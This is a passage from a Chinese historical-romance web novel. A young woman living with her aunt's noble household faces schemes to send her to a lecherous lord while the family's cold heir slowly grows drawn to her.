这颜色说是正红却不艳,暗红却不沉,衬沈清念的肤色更加白皙,更显大气端庄。秋叶暗自感叹这表小姐原是这样美。难怪…… 菱儿在一旁也看呆了。 小姐从前的衣裙都是素色的,衬得小姐是江南女子的清新明丽,婉约娟秀,这回披上这样颜色的披风,不输京城里的大家闺秀的贵气明艳。 后面秋叶还让她往后多穿,姨娘瞧见了,心里也高兴。 而今早她特意披上这披风去见姨母,好让姨母高兴高兴。 难道?一个念头在沈清念心里浮现,她微微思量又按住了心思。 “小姐?”菱儿见小姐一直盯着披风,又不说话。 “小姐,你怎么了?”看着小姐一脸落寞,菱儿又小心翼翼地问了一句。 沈清念语气平淡道:“无事,回去先把这披风收进柜子里,以后都不许再拿出来了。” 菱儿哦了一声,反应过来又诧异道:“啊?可小姐穿这件很好看。” 菱儿想着,小姐平日里的衣服都太过素净,好不容易有一件鲜亮的。 难道是因为大公子不许穿? 想到大公子,菱儿现在都还腿脚发软,心有余悸。 难怪小姐不敢再穿了。 菱儿露出了一个可怜巴巴地眼神,有些替小姐愤愤不平,又心里暗暗叹了口气。 小姐平日里低调素净,怎么就招惹到了大公子了。 下一秒,菱儿就见小姐朝她招了招手,示意她将耳朵伸过去,接着在她的耳边吩咐了几句。 “可记住了?”沈清念看着菱儿憨憨的模样。 菱儿一愣,连忙点头:“嗯嗯。” 见着菱儿点头如捣蒜,沈清念才又迈开了步子。 菱儿抱着披风跟在后面,虽然她表面平静,心里却没底,也不知自己能不能完成小姐的吩咐。 夜里 幼年谢宴之穿着小小的锦缎袍子,背脊挺得笔直,小手规规矩矩的放在身侧,站在母亲身边,皱着眉,看着对面的女娃娃。 那女娃娃像个圆滚滚的糯米团子,肉嘟嘟的,原本吃着胖乎乎的小手,忽然对着他笑起来,眼睛弯弯的,月牙儿似的,嘴里发出咯咯的声音。 母亲见状开心的笑道:“宴儿,你瞧你未来的娘子多好看。” 他又拧紧了眉,不想再看这个奇怪的小东西。 那女娃娃居然又将两节玉藕般的手伸向他。 “看,你的小娘子想要你抱抱呢。”屋子里的人都笑起来。 母亲看着他那故作深沉的小小模样,笑着摇了摇头。 女娃娃身上降红色襁褓忽然飘落在地上,谢宴之再抬头,刚刚还在的母亲和女娃娃都消失了。 谢宴之深夜从梦里醒来。 他又梦到了自己的生母杨氏。 还有那个女娃娃,那抹降红色。 这到底是梦还是现实? 他一时也弄不清楚。 第七章 原来是一种吃的 第二日 菱儿遵照小姐的吩咐,将披风放到了柜子里,再带上一袋炒松子儿就到处逛逛去了。 她在侯府的园子里逛了好一会儿,一个打听消息的人也没找着。 那些丫头见到她,要么绕道走,要么知道她是跟着来打秋风的,正眼都懒得给一个。 走了一圈下来,根本没人搭理她。 好不容易有两个胖墩墩的丫头愿意跟她说上两句,结果这两丫头是伙房的粗使丫头,才来了不过半月,平日又只在伙房干活,对侯府里的事比她这个外来丫鬟还不如。 她好歹还见过老太太,大公子的,这两个丫头见过的大人物也就伙房的管事麽麽。 菱儿走累了,干脆坐在长廊边的角落那里。 “哎,自己怕是要完不成小姐的吩咐了。”菱儿托着腮,自言自语道。 她正苦恼着呢,就听见一个声音:“喂,那个双丫髻的。” 菱儿听见声音,四下看了看,只见元青站在不远处,正斜着眼睛看着她。 那人不是大公子身边那个狗腿子吗? 菱儿用手指了指自己,想要确定元青是真的在叫自己。 元青憋憋嘴道:“就是叫你。还不快过来!” 他不明白怎么会有这么笨的小丫头。 这长廊就她一人,不是在叫她是在叫谁! 菱儿硬着头皮,不情不愿地走过去。 一边走,还一边探出头往元青的身后看去。 她怕得很,怕她还未走过去,元青身子一闪就露出身后的大公子。 她怕大公子又寻了什么由头来责罚她。 结果她当真看到元青向后转了个身,菱儿吓得闭上了眼睛。 元青看那个呆呆的丫头一边走一边向他身后看,脸上露出一副怕得要死的神情,元青还以为自己身后有什么不得了的东西,也转过去看看。 连个鬼影都没有,这个小丫头耍他呢! 回头见那丫头还在站在原地,揪着衣角,紧紧闭着眼睛。 他忽然觉得好笑,快步走到菱儿面前,弹了她一个脑瓜崩。 “喂,你这个蠢丫头,干什么呢?” 菱儿睁开了眼睛,见只有元青在,顿觉松了一口气。 还好凶神恶煞的大公子不在。 她看着元青,歪着脑袋,憋着嘴问道:“你叫我干嘛呀?” 元青现在也不知道自己叫住她干嘛。 刚刚看见这个丫头鬼鬼祟祟地躲在这处园子里,有丫鬟路过时,便假装路过,似乎是想与人搭讪。 仔细一看,这不是那位清姑娘身边的小丫头吗? 因着那位清姑娘,他后来还被大公子罚了银子,心里有些不快。 没想到这小丫头自己撞上枪口,那便怪不得他元青了。 他想着,这丫头肯定是得了主子的吩咐,在这里打探什么 要是他抓了这个小丫头送到大公子那里,不就立了功了? 结果他看见那些个丫鬟无视她,嘲讽她。 他看见她过去帮伙房的两个胖丫头提食盒,结果还差点被笨重的食盒绊倒时,他咧着嘴笑了。 怎么会有这么笨的丫头? 元青清了清嗓子说道:“我看你一个人鬼鬼祟祟的在这儿拉着路过的丫头说话,是想打听什么呢?” 菱儿抿着嘴不说话。 “是你家小姐让你来的吧?” “跟我家爷有关系?” 菱儿得眼睛忽然亮了起来:“你一直跟着大公子的?” 元青挑眉:“我元青五岁就跟着爷了。” “不过,出卖主子的事儿,我可不干。” 菱儿心里乐开了花,小姐要她打听大公子见着降红色为何生气。那眼前这个狗腿子不是正合适? “那个狗…元大哥,我的确是有件关于大公子的事情想打听。” 元青一下严肃起来,敢出卖自家爷,十条命也不够他活的呀。 他冷道:“无可奉告。” 菱儿忙拦住道:“哎哎,元大哥,元大爷!我是想问为何大公子不许我家小姐再穿降红色?” 说着,还给元青捶起手臂来。 她本来想捶肩膀的,她太矮了,捶不着。 元青心里被这声元大爷叫得美滋滋的。 他才十四岁,府上的人都叫他元青。 他干脆找了处椅子坐了下来,指了指肩膀。 菱儿白了白眼,见元青盯着她,又换上笑脸识趣儿地替元青捶着肩。 元青笑眯眯地说:“这事儿,简单。” 又指了指菱儿腰间的袋子。菱儿拿出松子儿剥了几颗放到他手上。 元青边吃边说:“你先告诉我,你叫什么名字。” “我叫菱儿,菱角的菱。” 原来是一种吃的。难怪脑子笨笨的。元青心里想着。 然后他慢悠悠地道:“公子不是不喜降红色,而是太过喜欢。” “府上人人都知道大公子最喜降红色,除了老太太和几房夫人能穿,没人敢在大公子面前穿降红色。” “原来是这样啊。” “你家小姐穿降红色来讨好大公子,这明眼人一眼就看出来了。” 菱儿心里想:谁说我家小姐要讨好大公子了? 菱儿还是对元青说了一句:“谢谢元大爷了。” 打听完了转身就要走。 没想被元青伸手拦住:“那个…菱角,把你身上的松子儿给爷呀。” 还未反应过来,手中的袋子就被元青抢走了。 菱儿低着头嘟囔:“堂堂大公子的狗腿,还抢小丫头的零嘴儿。” 元青道:“你在嘀咕什么呢?” 元青一边剥着松子儿,一边道:“你知不知道因为你小姐的事,大公子罚了我半个月的月银呢。拿你点儿松子儿怎么了?” 菱儿一听这话,只觉着有些想不明白。 她没记错的话,这个元青当时并未做什么事啊。 “大公子为何罚你银子?” “因为爷心里不悦了呗。” “啊?”菱儿瞪大了眼睛。 “啊什么?主子不高兴,奴才跟着倒霉。” “你家小姐没罚过你?” 菱儿摇摇头:“小姐从不无故打骂下人。” 何况她与小姐从小一起长大,如今十二岁了,好像也没被罚过。 “元大哥,我要回去找小姐了。”菱儿转身离开。 “哦,还有,我叫菱儿,不叫菱角!”菱儿又回过头补了一句。 第八章 是个女子就得对他心生爱慕? 元青看着菱儿稍微有些轻快的背影,眼底有些疑惑,这丫头其实单纯的有点天真。 这么单纯的丫头,那位清姑娘应该也不像是和从前那些有城府的女子一样。 不过这些也不是他考虑的,大公子不喜欢那位清姑娘,往后在这府上的日子应该不好过。 大公子对这些送上门的表姑娘,向来都绝情得很。 浅月居内。 菱儿将刚才听元青说的事都告诉了沈清念。 沈清念听完后心不由沉了下去。 果然…… 府里人人都知大公子不喜别人穿降红色,而秋叶却还让她多穿着走动。 显然,秋叶是得了姨母的吩咐。 她不知姨母为何要这样做。 所以那个谢宴之才会以为她是去勾引他的。 想到这儿,她微微抿了抿唇。 难怪谢宴之屡屡看她不顺眼,刚才是将她当做那些女子了吗? 这人也挺自负,是个女子就得对他心生爱慕? 以后要见着谢宴之,再避着些就是,免得让他再生什么误会。 菱儿看着沈清念半天不说话,神情瞧着也不太对,忙摇了摇沈清念的手:“小姐,你在想什么。” 沈清念拍了拍她的手背,淡淡道:“无事。” 原本她今日还要去找姨母谈谈银子的事情。 但现在,她想着这件事暂时先搁置一下。 现下她最要紧的是重新找个活路,赶紧搬出侯府。 小姐,绵竹姐姐来了。 绵竹是二夫人身边的婢女。 “清姑娘,过两日三小姐要去广德侯府参加雪景宴,二夫人今儿要去给三小姐置办一身衣裳,请您也一道去,给三小姐做个伴儿。” 谢敏在三房里排行老三,府上都称她三小姐。 沈清念想了想,正好跟着出门一趟,她去了解一些京城铺子的情况也好,便应着带着菱儿一起去了。 到了府门口的时候,已经有两辆马车等着了。 前面一辆是二夫人林氏和谢敏的。 林氏和谢敏早已坐在车里,见着沈清念二人来了,林氏掀开了帘子,朝沈清念上下打量了几眼,最后视线落到她那张白皙面容上,眼底深处虽是不喜,却做出温和的样子笑了笑。 她指了指后面的马车,示意沈清念去后面的马车。 沈清念很温顺的福了福身子,在菱儿的搀扶下上了车。 马车缓缓地行走在路上,沈清念掀开车帘,透过帷帽一角,观察着外面。 沿街的铺子鳞次栉比,绸缎庄,酒楼都挤满了人。 车马川流不息,叫卖声不断。 京城当真是繁华之地。 接着马车缓缓停在了一家绸缎庄前。 等沈清念也下了马车,林氏给了谢敏一个眼神。 谢敏心领神会地走过去拉着她的手道:“清妹妹,我们进去选料子吧。” 掌柜的见是林氏与谢敏来了,赶紧上前打了招呼,林氏便让掌柜的带着二人去楼上独自挑选。 掌柜带了他们上楼,谢敏便不耐烦的让人退下了。 她还有重要的事情要做呢。 只见她拿起一块布料,往沈清念身上比了比道:“清妹妹,这料子怎么样?” “你帮我试试看。” 谢敏说着,就拿起布料,往沈清念身上比了比。 又皱着眉头道:“清妹妹,要不你把帷帽取了吧。这样我能看清这颜色衬不衬人。” 沈清念想着这楼上只有她们二人,又看了谢敏一眼,便抬手取下帷帽。 她来这几日,与谢敏一向没有交集,她这么热情,倒是让她心生一股不对来。 又往旁边看去一眼,二夫人也不见了。 且看看她们想要做什么吧。 谢敏又将她往窗边带了带,举着布料比划着说:“这样光线好,才能看得清。” 谢敏看着对面茶楼,露出了得意的笑容。 “啧啧啧,不错,不错。”对面的男人摸着下巴,一双三角眼在沈清念身上黏着不放,眼里放着油腻腻的精光。 面若桃花,明眸皓齿,身姿窈窕……这般好颜色,京中许久不曾见到过了。 陆二爷见着了,必定喜欢。 林氏见状,朝着王管家笑呵呵道:“那王管事……?” 这王管事是广德侯府陆二爷手下的管事,专负责寻了美人给那二爷送去。 今日,林氏特意与他约在这茶楼。 待挑选布料时,就可看到那个贱人的模样。 王管事起身对着林氏双手抱拳道:“那王某提前给二夫人道喜了。” 这下又是大功一件。 送了这个进府,二爷又得赏他个美人尝尝。 况且,对面这个美人儿要不了多久,等到陆二爷腻了她,他迟早也能尝到她的味道。 想到这儿,王管事又咧开嘴笑了。 二人做好了约定。 林氏看着他走了以后,冷笑着狠狠朝地上碎了一口。 老色胚! 林氏回了绸缎庄,见沈清念乖巧地在一旁陪谢敏挑选布料,心里十分满意。 沈清念果然没让她失望,脸生得美,又这样乖巧好拿捏,正是她需要的。 谢敏回头看见母亲,用眼神询问了一下,见母亲满脸笑容点点头,便放下心来。 沈清念看这母女俩的神情,应当是事已办完,且有了满意的结果了。 林氏走上前道:“你们选好料子了吗?” 谢敏拿着一块淡粉色的料子递给母亲:“母亲,我要这一块。” 林氏说:“好好好”。 林氏又转头看向沈清念问道:“清念可选好了?” 林氏原本想要是今日这沈清念没被王管事瞧上,那今儿个就直接回府。 一个没用的人,不配花她一个子儿! 现如今既然这沈清念被管家给瞧上了,那她也得花点银子给她打扮打扮。 这沈清念衣物都旧了,太过寒酸,怕入不了那个人的眼。 沈清念轻轻道:“谢二夫人好意,今日三小姐能选到合心意的就好,不用管我的。” 林氏过去直接刚刚那匹青色布料,比在沈清念身上道:“就这匹吧,看把你衬得多好看”。 谢敏也在一旁附和道:“是呀,这个颜色很配清妹妹呢。” 毕竟沈清念进了广德侯府,自己的亲事就有着落了。 想到陆世子,谢敏的心里涌起一阵甜蜜。 沈清念,你就美吧,越美越好!这样才能给我铺路! 谢敏看着沈清念的背影,露出一抹阴沉的笑容。 沈清念推拒了一番,推不过也便收下了。 但今日的事情有些反常蹊跷,按理来说,二夫人对她应该没有这么好的。 她心里虽不知这母女俩在谋划什么。 但二夫人今日带她来买料子,谢敏又对她格外热情,她垂眸细细思量,更像是在算计什么。 她又看一眼手上的料子,细眉微蹙。 随后,林氏又带着二人去凤翔楼,分别挑选了两支珠花。 而书房里,元青将菱儿出来打听的事情说给了谢宴之。 谢宴之拧着眉,若有所思。 第九章 她是个满心满眼只有他的女子 沈清念和菱儿回了浅月居时,又有丫头来报,说是表哥谢昭在花园子里等她。 沈清念带着菱儿来到园子里时,谢昭已经等在那边了。 见沈清念过来,谢昭站了起来,喊了一声:“清妹妹!” 好几日没见到清表妹,谢昭有些迫切的想要看到沈清念。 “表哥!”沈清念轻轻地喊了一声。 “清妹妹,上次你说的那些香料和药材都在这里了,我也不知够不够,你看看。” 上次在问心堂,谢昭无意中听见沈清念跟菱儿说过想要一些香料和药材,她想尽快做出一些合香珠来。 到时候拿到外面的铺子里看看有没有掌柜的愿意帮她代为售卖。 京城里或许少有人知道合香珠,但谢昭是知道的,苏姨娘曾跟他说过,他的外祖父苏老爹曾在江南开过一间合香珠铺子,在当地小有名气的。 他从没见过合香珠,只听苏姨娘说过是将各种药材和香料混在一起制成的,制好后有各种香味。 姨娘因小时候贪玩,没有学会外祖的这门手艺。但清念妹妹既然能做合香珠,那必是有一手好手艺的。 谢昭想着满足了清妹妹的心愿,他也想知道合香珠做出来是什么样的。 清妹妹一闺阁女子,又在这侯府寄人篱下,不便出府。 他便想着替清妹妹买来。 沈清念看着面前一大包袱的药材香料,有一些惊讶。 她就随口说了一次,表哥竟然都记住了,还给她买来了。 沈清念看着面前的谢昭,心里觉得十分温暖。 从前在家中,只有母亲对她这般好。现在到了侯府,谢昭表哥竟也能记住她说过的话,想要的东西。 也许,这就是有哥哥的感觉吧。 眼前的少年脸上是爽朗的笑,沈清念不由地,脸上也扬起笑容。 谢昭痴痴地看着眼前的清妹妹。 她身上着的是一件鹅黄的长裙,衬得少女明丽娇俏。 忽而又见少女低眉,浅浅一笑,像春水漫过青石一般,让人心里泛起暖意。 谢昭一时有些失神。 清妹妹是这么温柔,这么娇弱,惹人怜惜。 要是……要是清妹妹愿意嫁她为妻的话,他一定会护她一世周全。 他看着她含着笑意的眉眼,心里吃了蜜一样甜。 “表哥?” 沈清念往包袱里看了看,发现这些香料和药材可以做好几种合香珠。 她刚刚问表哥喜欢什么样的香味,她想给他做一串合香珠,以示谢意, 可问了也不见表哥回答。 抬头一看,表哥正望着她的方向失神。 谢昭回过神来,意识到自己脑子里刚刚的念头,红了耳根。 他尴尬地答道:“什么都行的。” 他不敢再看沈清念,觉得自己这样好像有些亵渎了清妹妹。 日子还长,他还有很多时间等着清妹妹了解他心意的那天。 “那好,我就给表哥做一串君子香,滋补身心,藏气安神的。” 谢昭点点头。 清妹妹做的什么都好,给他什么他都要的。 菱儿看着表少爷的神情,抿着嘴笑了。 表少爷眉眼和姨娘有些相似,长得清秀,玉冠束发,显得温润又有礼,浓浓的书卷气息,是个有才华的公子哥呢。 偏在自家小姐面前就像个小孩童似的,看着傻乎乎的。 沈清念又问道:“表哥,这些需要多少银钱呢?” 谢昭摆摆手:“不用了,这点银子表哥还是有的。” 再说了,能给清妹妹花钱,谢昭心里高兴得很。 “可是……” 沈清念不想欠别人的,自己的表哥也不行。 谢昭知道沈清念的意思。他的清妹妹从来不是贪图便宜之人。 只是清妹妹只身从江南投奔到侯府,身上的银子定是不剩多少了。 得给清妹妹留些银子傍身。 谢昭看着沈清念微微皱着的眉头,安慰道:“再说,清妹妹不是要给我做一串合香珠吗?这样就够了。” “对了,还有这些。”说着谢昭指了指旁边的匣子。 沈清念打开匣子一看,居然是话本子。 谢昭笑笑道:“清妹妹,我怕你日日待在府中无聊,就顺手给你带了些话本子。” “也不知清妹妹爱不爱看。” 沈清念没想到谢昭是这么体贴的人。她在这府中每日兢兢战战地过活。 唯一的亲人就是姨母和表哥了。 而表哥当真如亲哥哥一般宠着她。 其实谢昭的心意沈清念并非不了解,可自己与表哥家世相差太大,根本不可能。 她现在也无心情情爱爱。 表哥这样温润端方的君子,日后定能找到与自己心意相通之人。 沈清念想着以后就当谢昭是自己的亲大哥,两人就做一辈子的亲人。 而不远处,一道目光直直盯着这里。 谢宴之在远处的假山上看着二人,目光冷峻。 今日他下了值回府,路过假山处就见那二人相谈甚欢,远远的就能感受到二人之间的郎情妾意。 看着实在是碍眼! 谢宴之摩挲着手上的玉扳指。 沈清念那张脸笑得的确很美。她在谢昭面前表现得那么温顺,看起来温柔又单纯。 可谢宴之知道,这都是她的伪装,这些来侯府攀附的女子都是些会伪装自己的。 前两日勾引他不成,现在又在这儿对谢昭下手。 看来比以往来攀附的那些表妹都聪明些。 元青看着自己爷那阴沉的脸,心里有了不好的感觉。 他看了一眼远处,谢昭少爷和清姑娘两人看着聊得十分开心。 所以爷是觉着清姑娘是在勾引谢昭少爷? 看着沈清念旁边那个扎着双丫髻的丫头,元青一咬牙,还是决定将菱儿出来打听的事情说出来。 “爷,清姑娘曾让身边那个叫菱…菱角的丫鬟出来打听降红色的事。” 元青小心翼翼地说。 “哦?” 听到这话,谢宴之皱了皱眉。 这么说那个沈清念根本就不知道他喜欢降红色的事情。那么她也并不是故意来惹他注意的? 谢宴之有些困惑,这个沈清念到底在耍什么把戏! 若没存了攀附的心思,为何她还一再染指侯府的男子,勾引着谢昭。 他转念一想,看来沈清念是个手段高明的,连他都看不透她了。 谢宴之淡淡道:“行了,以后她的事无须来报。” 反正他很快就会让她滚出侯府去。 元青悻悻地闭了嘴。 看来爷是真的对这清姑娘毫无兴趣。 第十章 如水般温柔的女子 谢宴之回了书房,靠坐在椅上,看着案上的拜帖,眉目舒展,幽深的眼眸看不出情绪,打在扶手上的手指无端有股压迫。 元青看到拜帖的留名是:广德侯府陆元章。 就是广德侯府的陆二爷。 谢宴之想起来之前查岭南暴乱的时候,抓到了几个山匪头子,其中有个看起来淡定,狱卒听偶然听他与人说是京城有贵人会保他平安无事。 谢宴之派人去查,线索到了京城东大门那段儿就断了。 而那段儿,就只有一户人家,便是这广德侯府。 侯府的陆大爷已经不管事多年,如今是这陆二爷代管着广德侯府。 今日递了帖子来,不知这陆二爷心中是如何打算的。 谢宴之正想着,门口负责通报的小厮走了进来,说是大老爷让大公子即刻去一趟松园。 谢宴之听到这话,目光瞬间变得冰冷,朝着外面看去:“他倒是又想起我来了。” 谢宴之很快就到了松园。 此时大老爷谢松衍正端坐在上首的位置,一手端着茶杯,另一手用茶盖刮了刮漂浮着的茶沫子,刚将茶杯凑到嘴边饮上一口,眼角的余光就瞥见谢宴之进来了。 谢宴之背着手,立在屋子中央道:“有事找我?” 谢松衍端着茶杯,打量着谢宴之。 他这个儿子每回来见他,周身都隐隐散发着一股难以掩饰的戾气,语气也是如此疏离。 仿佛二人不是父子,而是君臣,总是生分。 他明白,因着谢宴之生母杨氏的事,谢宴之心里一直记恨着他。 对于谢宴之的这种态度,这么多年谢松衍也已经习惯了。 谢松衍不再理会谢宴之的态度,而是慢悠悠地道:“今日兵部尚书的夫人来府上与你母亲叙了叙旧,顺便提了提你的亲事。” “儿子并无成婚的打算。”谢宴之当即打断了谢松衍的话。 谢松衍知道谢宴之一直推拒婚事,也不在意他说了什么,反正他终究是要成婚的,更何况他是谢家的长孙。 谢松衍又接着说道:“尚书大人想将长女嫁于你。” “那女子你母亲去年见过,长得秀美端庄,又知书达理,与你相配。”说着,谢松衍又慢悠悠地喝了一口茶。 “这桩婚事对咱们靖南侯府最有利。” 这几年来打探谢宴之婚事的把谢府的门槛儿都要踏破了,而谢松衍经过一番思量,认为谢宴之娶尚书府的千金最合适。 谢家如今虽说重回世家之列,但实力却不如从前。 若此次谢宴之能与尚书大人的爱女成婚,得尚书大人支持,那就相当于手上多了一些助力,那以后在朝堂之上,谢家又可如日中天了。 何况,谢家如今子嗣单薄,男丁就只有大房的谢宴之和二房的庶子谢昭了。 谢宴之唇边浮着淡淡的冷笑,转身便要往外走:“若无其他事,儿子先告退了。” 他谢宴之何时需要委屈自己用婚事来获得助力了?真把他当成那些世家女子了吗? “站住!”谢松衍将茶杯重重往桌上一放,有些怒意道:“你就是这样与为父说话的!” 说完,谢松衍又缓了缓,他知道这个儿子向来吃软不吃硬。 又道:“你身为靖南侯府谢家的长孙,便要肩负起繁衍子孙,兴旺侯府的职责!”谢松衍起身来到谢宴之身边,想伸手拍他的肩,安抚他。 谢宴之回过头,一个眼神制止住了谢松衍的动作,转身坐了下来,手指摸着玉扳指,冷冷道:“靖南侯府有我足矣,不需要用什么婚事提供助力!” 谢松衍皱眉看他:“但你总是要成婚的,不如就挑选这最有利的一个。” 谢宴之看着谢松衍冷嗤一声:“那你就将那尚书府爱女娶进侯府来试试?” 谢松衍看着谢宴之,只觉得有些发寒。 从谢宴之的生母杨氏死后,不知过了多久,谢宴之就变成了这副模样。 从前的与他亲近的样子半分不得再见。 谢松衍眉心皱了皱道:“我知你还在怨我没将你母亲接回来。” 当时他不是不想将杨氏带回来。 当日放弃杨氏,就是老侯爷同意让谢松衍回侯府的条件。 杨氏的身份太低微! 谢松衍想到当初他们兄弟二人被接回侯府时,侯府已经是强弩之末。三弟谢松元又还是个六七岁的孩童。 老侯爷在病榻上看着跪在地上的兄弟二人,老泪纵横,艰难地开口道:“侯府靠你们了。” 之后二弟谢松奕去了军中,做战勇猛,屡立奇功,封了将军。 他自己,则在中了进士后,在家族安排下迎娶了高官之女薛氏,身居高位。 谢松衍又想起了那个如水般温柔的女子。 她总是那样安静地坐在罗汉榻上,在灯下缝着衣服。 儿子则在旁边摇头晃脑地背着他新教的诗句。 杨氏一抬眸,与谢松衍目光相遇,觉察到他在偷看她 杨氏便会冲他温柔地一笑后又羞涩地低下头。 谢松衍正在回忆中,又听见谢宴之漫不经心地说了一句:“可你亲手杀死了她。” 迫于当时的情形,没接杨氏回来,他不怪谢松衍。可他不该让杨氏死,让他失去了亲生母亲。 谢宴之忆起当时杨氏拉着他的手,含着泪对小小的他说:“宴哥儿乖,你先随麽麽去找你父亲,母亲随后就来。” 后来谢宴之才知道,在他走的那天,母亲就已经没了。 被谢松衍给的她最爱的桃花酿毒死了。 而谢松衍也明白,杨氏是个满心满眼只有他这个夫的女子。 她为他生了儿子,为她洗衣裳做饭,可这世间能做这些的女子太多。必要的时候,她这样的女子,就该牺牲她自己成全她的夫! 这就是她的能为他提供的价值! 要怪就怪她没有显赫的家世,帮不了他。 谢松衍又继续说道:“你母亲能为侯府而死,是她的荣幸!我这个侯爷也是记得她的。” 作为一个身份低微的女子,死后能被他这个谢侯爷怀念着,还有什么不知足的。 何况,她的死还让她儿子成为这尊贵的靖南侯府世子,也算死得其所了。 第十一章 别想着算计我的婚事,否则…… 谢宴之听到谢松衍那番道貌岸然的话后,盯着谢松衍的眼睛道:“被你这个侯爷记着很了不得吗?” “要不你也尝尝那加了砒霜的桃花酿?” 谢松衍听到这话,指着谢宴之骂道:“逆子!有你这样跟自己父亲说话的吗?” 谢宴之望着谢松衍气急的模样,讽刺道:“那样的话,你就让你的儿子成为了尊贵的侯爷啊。” 听到这话,谢松衍的脸变得煞白。 又听得谢宴之的声音:“而我这个谢侯爷,也会想着你,还会在案台上供着你!你不是比我母亲更风光,更荣幸?” “怎么?怕了?”谢宴之又坐回椅子上,看着谢松衍衣袍下瑟瑟发抖的手。 眼见谢松衍这么快就败下阵来,他忽然又觉着没意思了。 站起来朝谢松衍走过去,把脸凑到谢松衍的耳边道:“告诉母亲,别想着算计我的婚事,否则……。” 见谢松衍不再言语,谢宴之退后几步,离开了松园。 谢宴之离开后,薛氏掀了帘子从后面走出来。 刚才谢宴之的话让她脸色有些煞白。 他猜到了婚事的事情有她的谋划在里面。 而且这个谢宴之如今真是越来越疯了。 连给亲爹饮毒酒的话都说得出来,还有什么是他不敢的! 但侯府如今全靠谢宴之一人撑着。 以谢宴之如今的地位和实力,想要捏死她,恐怕也不是不能。 这些年谢宴之面上与她这个继母表面还算和睦,实则恐怕也是如对待谢松衍一样,有些怨恨的。 但当年如果没有她薛氏,还有什么李氏、张氏的,杨氏照样进不来这个靖南侯府,谢宴之凭什么怨恨她? 不过她如今没有儿子傍身,只有一个女儿谢姝,原本想着借谢宴之的亲事拉拢尚书大人,给侯府增加助力,将来谢姝也能有个强有力的娘家做靠山。 这下这个法子是行不通了。 现在一定不能惹怒谢宴之。 她整理了一下头发,便朝着谢松衍走过去:“老爷,您消消气儿,宴哥儿总归会明白您的苦心的。” 谢松衍甩了甩袖子:“随他吧!我谢松衍就当没有这个儿子!”随后谢松衍便离开了屋子。 “老爷……” 薛氏看谢松衍的身影消失在门口,转身进到里屋,另想法子去了。 这边谢宴之幽幽地走在路上,脸上透着一股平静。 “母亲,你看,我今日又帮你教训了那个人了。”谢宴之唇角扬起一抹笑。 元青跟在后面,一路上是大气都不敢出。 每次主子一见到老爷,都会心情不好,这回好像尤为严重。 哎,元青想着这回又要倒霉喽! 二人走着走着,就听见假山后边传来一名女子的声音: 月光光,照窗台。 玉兔捣药桂花开。 小娃娃,快乖乖, 娘给娃娃小牌牌。 萤火虫…… “提灯笼。”谢宴之不自觉地说出来下一句,心里一下子就开怀了许多。这是小时候母亲杨氏给他唱过的童谣。 小的时候,每次谢宴之不开心的时候,母亲就唱这首童谣哄他。 元青看着主子的脸色好起来,心里松了一口气:不知是哪位姑娘,当真是观世音菩萨,来救他于水火之中啊。 元青正要走过去看看,谢宴之制止了他。 随后二人一跃,便站在了假山上面,有树枝挡着,能看到假山后的人又不会被发现。 元青走上前一看,假山下有两名女子,其中一人背影十分眼熟。 那个扎双丫髻的,像耗儿般,往嘴里塞零嘴儿的,不就是那个笨丫头菱角吗? 旁边的女子,眉眼温柔,气质端庄,可不就是那位清姑娘。 两人手中拿着几支梅花,想必是来这园子摘梅花的。 怎么这么不凑巧又在这儿遇见了? 自家主子不喜清姑娘,这下不知又要出什么事。 元青小心翼翼地瞥了瞥自家主子,只见谢宴之一脸的冷漠。 但脸上没有他想象中的怒意。 谢宴之看着坐在梅花树下的女子,正与旁边的丫鬟说着什么,鬓边还是那支简单的银簪。忽然那女子低眉,浅浅一笑,像春水漫过青石一般,让人心里泛起暖意。 在谢宴之的记忆里,母亲就是那样温婉的女子。 今日不知为何,她的身上还有一丝熟悉的香味,像小时候母亲锦帕上的气味。 菱儿又往嘴里塞了一口核桃道:“小姐,那个时候你多调皮呀,给夫子背上画个大乌龟,老爷还让人打了你十个板子!” “夜里你发了热,还是夫人在床边给你唱童谣,陪着你。” 沈清念也记得她小时候十分顽皮,常常捉弄教她识字的老夫子,她嫌他太过呆板无趣。 对此,母亲总是无奈地摇摇头。 那什么时候自己变得规矩了起来呢? 从她亲眼看到父亲打了母亲那天起,为了讨父亲的喜,她努力成为一个规规矩矩的闺秀,麻木地学着父亲为她安排的琴棋书画。 她想念母亲了,方才才唱起了母亲常常给她唱的这首童谣。 沈清念略带忧伤道:“要是母亲还在身边就好了。” 菱儿安慰道:“小姐,没事,等你在京城站稳了脚跟,就把夫人接过来,再也不分开。” “嗯。”她抬手,隔着袖子闻了闻手腕上的合香珠,是母亲留给她的。 闻一闻这味道能让沈清念的心感到一丝慰藉。 “小姐,那边还有一些梅花。”菱儿指了指另一边。 沈清念那日随林氏出府,她沿途看见了不少卖香料的铺子,卖香囊的,还有打香菉的,却没有看见卖合香珠的铺子。 沈清念猜想,京城这边还没有人卖合香珠。 她想着这两天先做一些带在身上,看到时候有没有法子卖出去几条。 她身上银钱不多,看这梅园的梅花开得好,就想着摘一些当做香料,能省则省。 谢宴之就这样神情淡淡地看沈清念垫着脚,一支一支地摘着梅花,嗅着风中送来的缕缕幽香。 元青看着谢宴之一直盯着清姑娘摘梅花,摸了摸鼻子:爷到底想干什么呢? 第十二章 原来爷说的不要就是要! 再说,元青觉着摘梅花有啥好看的呀,吃核桃才好看呢。 看那个笨丫头吃得腮帮子鼓鼓的! 况且,不久前爷自己还说的,以后清姑娘的事无须来报,表现得对清姑娘一点兴趣的都没有的样子。 这像不感兴趣吗? 元青扣了扣脑袋,一时也想不明白自己爷是什么心思。 沈清念和菱儿采好了花,说说笑笑地走回了小道上。 谢宴之突然从拐角处冒了出来。 沈清念一时不察,差点撞到了谢宴之,但她努力站稳了身形,避免自己碰到他身上。 一抬头,鼻尖又差点碰上去,沈清念赶紧往后退了两步,福了福身:“世子。” 这人怎么突然冒出来吓人。 但无论如何,刚才这事都是怪不着她的。 她还被吓到了呢。 随后,沈清念侧了侧身子让开了路:“世子先请。” 谢宴之经过沈清念身边的时候,顿了顿。 沈清念看谢宴之在她身边一直不走,心里存了些疑虑,她想着自己哪里又惹着他了? 二人靠得那么近,沈清念只觉得后背发凉,呼吸都有些困难了。 谢宴之停下步子,那熟悉的气味便悉数钻入了鼻中,他顿觉身心舒畅了起来,短暂的停顿后,他迈着步子往前走过去。 谢宴之走过去以后,沈清念也放松了下来,但她还是发现今日的谢宴之与平常有些不同。 好像没有像以往那种看她不顺眼。 不过他一贯是变脸比翻书快的人,她也不想去了解谢宴之今日为何有些不同。 她只想他赶快走! 见谢宴之走到前面去了,菱儿松了一口气。 